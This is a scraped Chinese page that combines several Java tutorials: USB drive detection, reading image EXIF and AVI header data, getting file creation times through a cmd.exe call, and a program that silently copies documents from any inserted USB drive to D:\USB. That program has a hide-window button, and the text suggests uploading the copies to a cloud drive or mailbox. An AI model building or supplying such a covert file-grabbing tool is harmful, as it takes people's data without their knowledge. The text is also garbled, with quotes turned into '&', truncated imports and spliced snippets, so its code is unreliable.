java怎么实现java 获取实现类用户端U盘内信息

java实现监听u盘示例分享
字体:[ ] 类型:转载 时间:
这篇文章主要介绍了java实现监听u盘示例,需要的朋友可以参考下
代码如下:package org.load.u;
import java.io.Fimport java.util.LinkedHashMimport java.util.M
// U盘检测public class CheckU {&// 存放磁盘状态&private static Map&String, Boolean& map = new LinkedHashMap&String, Boolean&();&// 定义磁盘&private static final String[] arr = new String[] {"C", "D", "E", "F", "G", "H", "I", "J"};&public static void main(String[] args){&&init();&&check();&&System.out.println("检测到U盘");&&System.out.println(map);&}&// 死循环检测每个磁盘状态&public static void check() {&&F&&for(;;) {&&&for(String str : arr) {&&&&file = new File(str + ":\\");&&&&// 如果磁盘现在存在,并且以前不存在&&&&// 则表示刚插上U盘,返回&&&&if(file.exists() && !map.get(str)) {&&&&&&&&&}&&&&// 需要每次状态改变时,更新保存的状态&&&&// 如果刚检测的状态和原来的状态不一样,则重新更新状态&&&&// 必须放上面的if语句下面&&&&if(file.exists() != map.get(str)) {&&&&&map.put(str, file.exists());&&&&}&&&}&&&try {&&&&Thread.sleep(5 * 1000);&&&} catch (InterruptedException e) {&&&&e.printStackTrace();&&&}&&}&}&// 初始化磁盘状态,存在true, 否则false&public static void init() {&&F&&for(String str : arr) {&&&file = new File(str + ":\\");&&&map.put(str, file.exists());&&}&}}
您可能感兴趣的文章:
大家感兴趣的内容
12345678910
最近更新的内容
常用在线小工具2107人阅读
经典实例代码(19)
1、获得U盘根目录,例如我们取名U盘名称为&测试U盘&,一般插入U盘后,在系统的H盘
* 得到系统U盘根目录
public String findURootPath(){
FileSystemView sys = FileSystemView.getFileSystemView();
//循环盘符
File[] files = File.listRoots();
for(File file:files){
//得到系统中存在的C:\,D:\,E:\,F:\,H:\
System.out.println(&系统中存在的&+file.getPath());
File file =
String path =
for(int i = 0; i & files. i++) {
//得到文字命名形式的盘符系统 (C:)、软件 (D:)、公司文档 (E:)、测试U盘 (H:)
System.out.println(&得到文字命名形式的盘符&+sys.getSystemDisplayName(files[i]));
if(sys.getSystemDisplayName(files[i]).contains(&测试U盘&)){
file = files[i];
if(file!=null){
path = file.getPath();
测试后获得的U盘路径为:H:\
2、获得图片头文件信息和拍照时间
* 获取图片头文件信息,封装为一个Map数据保存
public static Map&String,String& getImageInfo(File file){
Map&String,String& map = new HashMap&String, String&();
if(file!=null){
Metadata metadata = JpegMetadataReader.readMetadata(file);
ExifIFD0Directory exifIFD0Directory = metadata.getDirectory(ExifIFD0Directory.class);
//获得图片头文件信息
map.put(&software&, exifIFD0Directory.getDescription(ExifIFD0Directory.TAG_SOFTWARE));
ExifSubIFDDirectory subIFDDirectory = metadata.getDirectory(ExifSubIFDDirectory.class);
//获得图片系统拍照时间
map.put(&time&, subIFDDirectory.getDescription(ExifSubIFDDirectory.TAG_DATETIME_ORIGINAL));
}catch (Exception e) {
e.printStackTrace();
测试代码:
Map&String,String& map = getImageInfo(new File(&F:\\test\\111.JPG&));
System.out.println(map.get(&software&)+&--&+map.get(&time&));
得到信息:2.3.6-- 10:16:09,我们有些硬件拍照,有时候要与软件相结合,这个时候,我们可以把信息放在图片的头文件信息中,方便我们软件进行处理!
3、获取视频头文件信息,是将其转为文件流的形式进行读取
* 获取头文件信息--以文件流的形式读取视频文件,Byte数组获取头文件
循环数组,转换为char类型,解析得到头文件
* @param filepath
* @throws IOException
public static String getFileHeadInfo(File file){
FileInputStream fis =
new FileInputStream(file);
byte[] b = new byte[300];
StringBuilder sb = new StringBuilder();
fis.read(b,0,300);
for (int i = 0; i & b. i++) {
sb.append((char)(Integer.parseInt(b[i]+&&)));
fis.close();
String temp = sb.toString().toUpperCase();
int offset = sb.indexOf(&SQ&);
return temp.substring(offset, offset+50).trim();
}catch(Exception e){
e.printStackTrace();
测试代码:
String result = getFileHeadInfo(new File(&F:\\test\\151751.AVI&));
System.out.println(result);
得到信息:
SQ909__003,同理,当我们视频中有信息需要给我们软件使用的时候,可以把信息放到视频的头文件信息中
3、获取视频时长
* 获取视频时长
public static double getVideoTime(File file){
double time = 0.0;
Encoder encoder = new Encoder();
MultimediaInfo m = encoder.getInfo(file);
long ls = m.getDuration();
time = Double.parseDouble(new DecimalFormat(&#.00&).format(ls/()));
} catch (Exception e) {
e.printStackTrace();
return 0.0;
测试代码:
double d=getVideoTime(new File(&F:\\test\\151751.AVI&));System.out.println(&视频时长---&+d);
得到相应的视频时长信息:视频时长---0.51
4、获取文件在电脑盘符上的创建时间
* 获取文件在盘符中创建时间,指的是文件被移动到指定文件下的时间
* 例如一张图片,我的拍摄时间为: 09:23:21
* 当我将其移动到电脑上F:\\test盘符下的时间为: 19:35:28
* 此方法返回的时间为: 19:35:28
* @param file
public static String getFileCreateDate(File file) {
String filePath = file.getAbsolutePath();
Process ls_proc = Runtime.getRuntime().exec(&cmd.exe /c dir & + filePath + & /tc&);
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i & 5; i++) {
br.readLine();
String result = br.readLine();
br.close();
String[] array = result.split(&\\s+&);
String date = array[0].replaceAll(&/&, &-&);
String time = array[1];
return date.concat(& &).concat(time);
} catch (Exception e) {
测试相应的文件,都可以得到相应的时间:
result = getFileCreateDate(new File(&F:\\test\\book.txt&));
result = getFileCreateDate(new File(&F:\\test\\111.JPG&));
System.out.println(&文件创建时间为&+result);
得到信息:返回时间字符串:文件创建时间为 11:58
大家可以根据自己的业务需求,进行相应的功能操作!上面方法中有些类比如说:Encoder、MultimediaInfo、JpegMetadataReader、ExifIFD0Directory等需要第三方包的支持,大家可以到我的资源库中进行免费下载:
&&相关文章推荐
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:398006次
积分:5578
积分:5578
排名:第4394名
原创:210篇
转载:39篇
评论:111条
(3)(2)(2)(2)(1)(4)(3)(6)(8)(2)(2)(11)(7)(2)(2)(2)(5)(8)(1)(1)(5)(7)(5)(4)(3)(4)(1)(1)(4)(2)(4)(3)(1)(7)(2)(7)(6)(7)(28)(24)(9)(2)(41)1575人阅读
javase(35)
这个小程序的功能是,检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家,就当作是练习io流的小练习。
这个小程序的实现方法如下:
1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。
2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。
需要注意的是,由于U盘的内容可能很大,所以拷贝的时候最好指定要拷贝的文件类型,如ppt,doc,txt等等。
下面是这个小程序的相关代码:
在CopyThread类中可以指定要复制的文件类型,大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件,将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径,当然,如果愿意的话,你可以将文件上传到网盘,邮箱等等。。。
一、USBMain类,程序入口:
import java.awt.event.ActionE
import java.awt.event.ActionL
import javax.swing.JB
import javax.swing.JF
public class USBMain {
public static void main(String[] args) {
USBMain u = new USBMain();
u.launchFrame();
//开启盘符检查线程
new CheckRootThread().start();
private void launchFrame() {
final JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocation(450, 250);
JButton hide = new JButton(&点击隐藏窗口&);
// 点击按钮后隐藏窗口事件监听
hide.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
frame.setVisible(false);
frame.add(hide);
frame.pack();
frame.setVisible(true);
二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。
import java.io.F
//此类用于检查新盘符的出现,并触发新盘符文件的拷贝
public class CheckRootThread extends Thread {
// 获取系统盘符
private File[] sysRoot = File.listRoots();
public void run() {
File[] currentRoot =
while (true) {
// 当前的系统盘符
currentRoot = File.listRoots();
if (currentRoot.length & sysRoot.length) {
for (int i = currentRoot.length - 1; i &= 0; i--) {
boolean isNewRoot =
for (int j = sysRoot.length - 1; j &= 0; j--) {
// 当两者盘符不同时,触发新盘符文件的拷贝
if (currentRoot[i].equals(sysRoot[j])) {
isNewRoot =
if (isNewRoot) {
new CopyThread(currentRoot[i]).start();
sysRoot = File.listRoots();
//每5秒时间检查一次系统盘符
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
三、CopyThread类,用于文件遍历并选择指定文件格式进行复制:
import java.io.F
//该类用于对新盘符文件的复制
public class CopyThread extends Thread {
// 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可
private static String[] fileTypes = {&ppt&,&doc&,&txt&,&wps&};
// private static String[] fileTypes =
File file =
public CopyThread(File file) {
this.file =
public void run() {
listUsbFiles(file);
//遍历盘符文件,并匹配文件复制
private void listUsbFiles(File ufile) {
File[] files = ufile.listFiles();
for (File f : files) {
if (f.isDirectory()) {
listUsbFiles(f);
if (fileTypeMatch(f))
new CopyFileToSysRoot(f).doCopy();
//匹配要复制的文件类型
public boolean fileTypeMatch(File f) {
//fileTypes为null时,则全部复制
if (fileTypes == null) {
for (String type : fileTypes) {
if (f.getName().endsWith(&.& + type)) {
四、CopyFileToSysRoot类,复制文件的IO流实现:
import java.io.BufferedInputS
import java.io.BufferedOutputS
import java.io.F
import java.io.FileInputS
import java.io.FileNotFoundE
import java.io.FileOutputS
import java.io.IOE
//文件复制IO
public class CopyFileToSysRoot {
// 复制文件保存路径
private static final String PATH = &D:\\USB&;
private File file =
public CopyFileToSysRoot(File file) {
this.file =
// 复制文件
public void doCopy() {
BufferedInputStream bis =
BufferedOutputStream bos =
//创建目录
File fPath = new File(getFileParent(file));
if (!fPath.exists()) {
fPath.mkdirs();
bis = new BufferedInputStream(new FileInputStream(file));
bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,
file.getName())));
byte[] buf = new byte[1024];
int len = 0;
while ((len = bis.read(buf)) != -1) {
bos.write(buf, 0, len);
bos.flush();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (bis != null)
bis.close();
} catch (IOException e) {
e.printStackTrace();
if (bos != null)
bos.close();
} catch (IOException e) {
e.printStackTrace();
// 根据盘符中文件的路径,创建复制文件的文件路径
public String getFileParent(File f) {
StringBuilder sb = new StringBuilder(f.getParent());
int i = sb.indexOf(File.separator);
sb.replace(0, i, PATH);
return sb.toString();
&&相关文章推荐
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:97611次
积分:1616
积分:1616
排名:千里之外
原创:41篇
评论:173条
(2)(2)(38)(5)}

我要回帖

更多关于 java 获取实现类 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信